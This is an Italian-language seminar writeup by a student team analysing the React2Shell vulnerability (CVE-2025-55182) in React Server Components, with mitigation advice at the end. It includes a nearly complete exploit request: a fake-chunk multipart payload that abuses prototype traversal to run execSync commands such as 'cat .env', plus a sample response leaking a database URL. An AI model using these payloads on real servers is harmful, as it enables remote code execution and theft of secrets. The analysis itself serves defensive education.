
[Nostra FISA] Vincita del seminario tecnico - Squadra 3, 6ª generazione sviluppo servizi cloud - React2Shell (CVE-2025-55182) Analisi e ricerca
| Membro | Ruolo | GitHub |
|---|
| Nam Inseo | Ricerca materiali, Realizzazione PPT, Presentazione | @sene03 |
| Yoo Seungjun | Ricerca materiali, Realizzazione PPT, Presentazione | @fluanceifi |
| Lee Soohyun | Ricerca materiali, Realizzazione PPT | @hyun793 |
| Kim Yujeong | Ricerca materiali, Realizzazione PPT | @yujung23 |
React2Shell (CVE-2025-55182) è una grave vulnerabilità di sicurezza scoperta nel processo di comunicazione del Flight Protocol utilizzato dai React Server Component (RSC).
React utilizza il Flight Protocol che supporta tipi complessi come Promise, Blob, Map oltre a stringhe e array per elaborare i componenti.
| Espressione | Tipo | Descrizione |
|---|---|---|
$$ | $ escaped | Stringa letterale che inizia con $ |
$@ | Promise/Chunk | Riferimento a ID Chunk |
L'attaccante sfrutta le vulnerabilità di questo metodo di elaborazione del flusso del protocollo per iniettare script dannosi e ottenere il controllo del server.
L'attaccante invia dati JSON al server tramite una richiesta che include le intestazioni Next-Action e multipart/form-data. In questa richiesta, include un chunk falso (Fake Chunk) mascherato da oggetto Promise nel corpo.
POST / HTTP/1.1
Host: localhost: 3000
[... altri header omessi ...]
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="0"
{"then": "$1: __proto__: then", "status": "resolved_model" , "reason": -1, "value": "{\"then\": \"$B0\"}" , "_response":
f"_prefix": "var res = process mainModule.require('child_process'). execSync('comando da eseguire',
{'timeout': 5000}). toString(). trim(); throw Object.assign(new Error( 'NEXT_REDIRECT'), {digest: ${res} });" {"get":"$1: constructor: constructor"}}}
------WebkitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundary7MA4YWxkTrZu0gW--
'_formData":
// Esempio di chunk falso inviato dall'attaccante
{
"then" : "$1:__proto__:then"
"status" : "resolved_model",
"reason" : -1,
"value" : "{\"then\":\"$B0\"}",
"_response" : {
"_prefix": "execSync('cat .env'); //",
"_formData":{"get": "$1:constructor:constructor"}
}
}
then del chunk falso inviato dall'attaccante viene mappato a Chunk.prototype.then._prefix viene passato come argomento di Function.thenable della Promise, il codice arbitrario inserito dall'attaccante viene eseguito sul server.// Esempio di risposta alla richiesta POST
500
0:{"a":"$@1","f":"","b":"sDAZnkg0U4tReIQ4vYjJS"}
1:E{"digest":**"DATABASE_URL='...'"**}
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // Manca il controllo hasOwnProperty qui!
}
$1:path:to:value, spezza la stringa in base ai due punti (:) e naviga all'interno dell'oggetto.$1:__proto__:then, si può accedere al prototipo del chunk e al then di quell'oggetto (Chunk.prototype.then).then del chunk reale, eseguendo il codice intenzionale dell'attaccante.Questa vulnerabilità ha causato grandi onde d'urto in tutto l'ecosistema web moderno.
L'incidente React2Shell ha lasciato l'insegnamento: "Anche gli sviluppatori front-end devono comprendere la sicurezza lato server".
Aggiornare immediatamente i pacchetti correlati come react-server-dom-webpack all'ultima versione (19.0.1+ ecc.)
I framework che incorporano RSC come Next.js non vengono risolti semplicemente aggiornando React; è necessario controllare le note di rilascio di sicurezza del framework stesso e aggiornare all'ultima versione.
Utilizzare sistemi di monitoraggio come Grafana e collegarli a canali di notifica come email, Slack per impostare allarmi in modo da poter intraprendere azioni immediate.
Con l'espansione del campo del front-end grazie ai progressi tecnologici, dobbiamo riconoscere che anche l'ambito di responsabilità per la sicurezza si è ampliato.